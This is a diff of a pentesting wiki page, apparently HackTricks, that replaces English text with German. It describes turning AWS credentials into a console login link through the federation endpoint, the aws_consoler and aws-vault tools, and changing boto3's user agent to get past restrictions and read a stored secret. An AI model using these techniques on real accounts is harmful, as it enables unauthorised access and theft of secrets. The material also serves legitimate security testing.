@@ -43,10 +42,10 @@ federation_endpoint="https://signin.aws.amazon.com/federation"
|
||||
|
||||
# Make the HTTP request to get the sign-in token
|
||||
resp=$(curl -s "$federation_endpoint" \
|
||||
--get \
|
||||
--data-urlencode "Action=getSigninToken" \
|
||||
--data-urlencode "SessionDuration=43200" \
|
||||
--data-urlencode "Session=$json_creds"
|
||||
--get \
|
||||
--data-urlencode "Action=getSigninToken" \
|
||||
--data-urlencode "SessionDuration=43200" \
|
||||
--data-urlencode "Session=$json_creds"
|
||||
)
|
||||
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
|
||||
|
||||
@@ -55,11 +54,9 @@ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
|
||||
# Give the URL to login
|
||||
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
|
||||
```
|
||||
|
||||
#### aws_consoler
|
||||
|
||||
You can **generate a web console link** with [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
|
||||
|
||||
Sie können **einen Webkonsole-Link generieren** mit [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
|
||||
```bash
|
||||
cd /tmp
|
||||
python3 -m venv env
|
||||
@@ -67,27 +64,23 @@ source ./env/bin/activate
|
||||
pip install aws-consoler
|
||||
aws_consoler [params...] #This will generate a link to login into the console
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume.
|
||||
> Stellen Sie sicher, dass der IAM-Benutzer die Berechtigung `sts:GetFederationToken` hat, oder stellen Sie eine Rolle zur Verfügung, die übernommen werden kann.
|
||||
|
||||
#### aws-vault
|
||||
|
||||
[**aws-vault**](https://github.com/99designs/aws-vault) is a tool to securely store and access AWS credentials in a development environment.
|
||||
|
||||
[**aws-vault**](https://github.com/99designs/aws-vault) ist ein Tool, um AWS-Anmeldeinformationen sicher zu speichern und in einer Entwicklungsumgebung darauf zuzugreifen.
|
||||
```bash
|
||||
aws-vault list
|
||||
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
|
||||
aws-vault login jonsmith # Open a browser logged as jonsmith
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> You can also use **aws-vault** to obtain an **browser console session**
|
||||
> Sie können auch **aws-vault** verwenden, um eine **Browser-Konsole-Sitzung** zu erhalten.
|
||||
|
||||
### **Bypass User-Agent restrictions from Python**
|
||||
|
||||
If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing:
|
||||
### **Umgehung von User-Agent-Beschränkungen aus Python**
|
||||
|
||||
Wenn es eine **Einschränkung gibt, bestimmte Aktionen basierend auf dem verwendeten User-Agent** durchzuführen (wie die Einschränkung der Verwendung der Python boto3-Bibliothek basierend auf dem User-Agent), ist es möglich, die vorherige Technik zu verwenden, um **über einen Browser eine Verbindung zur Webkonsole herzustellen**, oder Sie könnten direkt den **boto3 User-Agent** ändern, indem Sie:
|
||||
```bash
|
||||
# Shared by ex16x41
|
||||
# Create a client
|
||||
@@ -100,9 +93,4 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda
|
||||
# Perform the action
|
||||
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user